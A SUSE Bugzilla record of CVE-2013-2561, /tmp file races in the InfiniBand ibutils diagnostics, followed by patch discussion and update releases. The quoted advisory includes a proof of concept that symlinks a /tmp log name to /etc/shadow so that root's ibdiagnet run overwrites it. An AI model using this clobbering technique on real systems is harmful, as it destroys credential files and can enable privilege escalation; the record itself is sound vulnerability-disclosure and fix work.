Bugzilla – Bug 811660
VUL-0: CVE-2013-2561: ibutils: various /tmp races
Last modified: 2014-03-06 06:50:06 UTC
is public, via dull-disclosure and oss-sec CVE-2013-1894 From: Vincent Danen <vdanen@redhat.com> Subject: [oss-security] CVE request: ibutils improper use of files in /tmp Date: Mon, 25 Mar 2013 15:49:01 -0600 It was reported on full-disclosure that ibutils suffers from improper use of files /tmp that could allow a user to clobber files as the user running ibutils (probably usually root). I didn't see a CVE request for this or anything show up here; if one hasn't been assigned, could it be? Thanks. References: http://seclists.org/fulldisclosure/2013/Mar/87 https://bugzilla.redhat.com/show_bug.cgi?id=927430
Larry W. Cashdollar report: OpenFabrics ibutils 1.5.7 /tmp clobbering vulnerability 3/6/2013 Larry W. Cashdollar @_larry0 The infiniband diagnostic utiltiy handles files in /tmp insecurely. A malicious user can clobber root owned files with common symlink attacks. http://www.openfabrics.org/downloads/ibutils/ [nobody@exdb01 tmp]$ ln -s /etc/shadow ibdiagnet.log [nobody@exdb01 tmp]$ ls -l ibdiagnet.log lrwxrwxrwx 1 nobody users 11 Mar 6 18:19 ibdiagnet.log -> /etc/shadow [nobody@exdb01 tmp]$ The following files are created, I imagine anyone of them can be used. [root@exdb01 tmp]# ls -l /tmp/ibdiagnet* -rw-r--r-- 1 root root 57611 Mar 6 18:20 /tmp/ibdiagnet.db -rw-r--r-- 1 root root 830 Mar 6 18:20 /tmp/ibdiagnet.fdbs -rw-r--r-- 1 root root 5805 Mar 6 18:20 /tmp/ibdiagnet_ibis.log -rw-r--r-- 1 root root 2359 Mar 6 18:20 /tmp/ibdiagnet.log -rw-r--r-- 1 root root 7072 Mar 6 18:20 /tmp/ibdiagnet.lst -rw-r--r-- 1 root root 456 Mar 6 18:20 /tmp/ibdiagnet.mcfdbs -rw-r--r-- 1 root root 784 Mar 6 18:20 /tmp/ibdiagnet.pkey -rw-r--r-- 1 root root 3348 Mar 6 18:20 /tmp/ibdiagnet.psl -rw-r--r-- 1 root root 179228 Mar 6 18:20 /tmp/ibdiagnet.slvl -rw-r--r-- 1 root root 193 Mar 6 18:20 /tmp/ibdiagnet.sm After root runs a diagnostic command: [root@exdb01 tmp]# ibdiagnet -ls 10 -lw 4x -vlr Loading IBDIAGNET from: /usr/lib64/ibdiagnet1.5.7 -W- Topology file is not specified. Reports regarding cluster links will use direct routes. Loading IBDM from: /usr/lib64/ibdm1.5.7 -W- A few ports of local device are up. Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port. -I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered. . . . . Extracting SL Based Routing Info 0 0 Please see /tmp/ibdiagnet.log for complete log -I- Done. Run time was 2 seconds. Symlinked files are overwritten: [root@exdb01 tmp] ls -l /etc/shadow -rw------- 1 root root 2359 Mar 6 18:17 /etc/shadow [root@exdb01 tmp] head /etc/shadow -W- Topology file is not specified. Reports regarding cluster links will use direct routes. -W- A few ports of local device are up. Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port. -I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered. -I--------------------------------------------------- -I- Bad Guids/LIDs Info Versions installed [root@exdb01 tmp] rpm -aq |grep ibutils ibutils-1.5.7-1.el5 ibutils-libs-1.5.7-1.el5 ibutils-devel-1.5.7-1.el5 [root@exdb01 tmp] ibis binary also creates files insecurely in /tmp: /tmp/ibis.log from the man page: IBIS(1) IB MANAGEMENT IN-BAND SERVICES PACKAGE IBIS(1) NAME ibis - IB management Inband Services - an extended TCL shell SYNOPSYS ibis [-port_num ] DESCRIPTION ibis is a TCL shell extended with interface for sending and receiving IB management datagrams (MADS). To use this shell you will write TCL code that excersizes the regular TCL command and the special API provided by this extension. Interactive use is also possible and is greatly enhanced if tclreadline package is available on the machine. The following sub sections provide detailed definition for the API and global objects defined by the extension. The different MADs APIs are group by the management class. http://vapid.dhs.org/advisories/ibutils-file-clobber.html
The SWAMPID for this issue is 51875. This issue was rated as moderate. Please submit fixed packages until 2013-04-09. When done, please reassign the bug to security-team@suse.de. Patchinfo will be handled by security team.
bugbot adjusting priority
submission is overdue, please submit today-.
Get me someone that speaks TCL? ibutils are written in TCL which I don't speak. So I can't even tell if the flaw is in ibutils or tcl itself. Even RedHat doesn't seem to have fixed it yet.
i speak it a bit.
Created attachment 541512 [details] ibdiag-tmprace.patch one part using the usual mktemp -d /tmp/dir.XXXXXX trick (there are some more left)
The SWAMPID for this issue is 52782. This issue was rated as moderate. Please submit fixed packages until 2013-06-17. When done, please reassign the bug to security-team@suse.de. Patchinfo will be handled by security team.
Philipp, just go with my patch for now, it covers most of the ibdiagnet cases. probably not the best solution. do you know if upstream is aware and has a fix now? http://git.openfabrics.org/git?p=~kliteyn/ibutils.git;a=summary does not look like it was updated the last 4 years :/
OK, will do. Though I'll let Reinhard Max have a look at it. The upstream ibutils git is at git://git.openfabrics.org/~orenk/ibutils.git according the open fabrics aliance webpage https://www.openfabrics.org/downloads/MAINTAINERS. But that there too the latest Chnage was 2005. So upstream doesn't really seem to care :(
Marcus, your patch seems to leak tmp dirs and also the files placed therein don't seem to get removed. With the predictable base directory the files of subsequent runs would have overwritten each other, but with the randomized dir space usage grows potentially unlimited. Would there be a drawback (security wise) in using a private subdir of /tmp with a predictable name if the application made sure that it is a subdir and not a symlink? When I look at /tmp, other applications seem to do the same.
yes ... was a quick try. if we can do that in a secure way, yes. can you post a proposal for review?
Shouldn't it be enough to put the static file names into a per user subdirectory of /tmp like other applications are doing?
Whoops, I just realized that I had said that already. ;) Will propose a patch.
Use the following lines in place of your patch: + set InfoArgv(-o,default) /tmp/ibdiag.$tcl_platform(user) + # This succeeds if the directory already exists + # and fails if the name exists as a file or symlink. + if {[catch {file mkdir $InfoArgv(-o,default)} error]} { + puts stderr "Cannot create temporary directory: $error" + exit 1 + }
this is ok too, mkdir /tmp/something is safe you can use that:)
Fix submitted as sr 27546, but I asked Reinhard to once again check the code.
we also need the fix against SUSE:SLE-11-SP1:Update:Test ibutils SUSE:SLE-10-SP4:Update:Test ibutils SUSE:SLE-10-SP3:Update:Test ibutils if necessary for these code revisions.
Submitted all three just now.
Update released for: ibutils, ibutils-32bit, ibutils-debuginfo, ibutils-debuginfo-32bit, ibutils-debuginfo-x86, ibutils-debugsource, ibutils-devel, ibutils-devel-32bit, ibutils-x86 Products: SLE-DEBUGINFO 11-SP2 (i386, ia64, ppc64, x86_64) SLE-SDK 11-SP2 (i386, ia64, ppc64, x86_64) SLE-SERVER 11-SP2 (i386, ia64, ppc64, x86_64) SLES4VMWARE 11-SP2 (i386, x86_64)
Update released for: ibutils, ibutils-32bit, ibutils-debuginfo, ibutils-devel, ibutils-devel-32bit Products: SLE-SERVER 10-SP3-TERADATA (x86_64)
Update released for: ibutils, ibutils-32bit, ibutils-64bit, ibutils-debuginfo, ibutils-devel, ibutils-devel-32bit, ibutils-devel-64bit, ibutils-x86 Products: SLE-DEBUGINFO 10-SP4 (i386, ia64, ppc, x86_64) SLE-SERVER 10-SP4 (i386, ia64, ppc, x86_64)
Update released for: ibutils, ibutils-32bit, ibutils-debuginfo, ibutils-debuginfo-32bit, ibutils-debugsource, ibutils-devel, ibutils-devel-32bit Products: SLE-SERVER 11-SP1-TERADATA (x86_64)
released
Update released for: ibutils, ibutils-32bit, ibutils-debuginfo, ibutils-debuginfo-32bit, ibutils-debuginfo-x86, ibutils-debugsource, ibutils-devel, ibutils-devel-32bit, ibutils-x86 Products: SLE-DEBUGINFO 11-SP3 (i386, ia64, ppc64, x86_64) SLE-SDK 11-SP3 (i386, ia64, ppc64, x86_64) SLE-SERVER 11-SP3 (i386, ia64, ppc64, x86_64) SLES4VMWARE 11-SP3 (i386, x86_64)
CVE-2013-2561 was used instead of CVE-2013-1894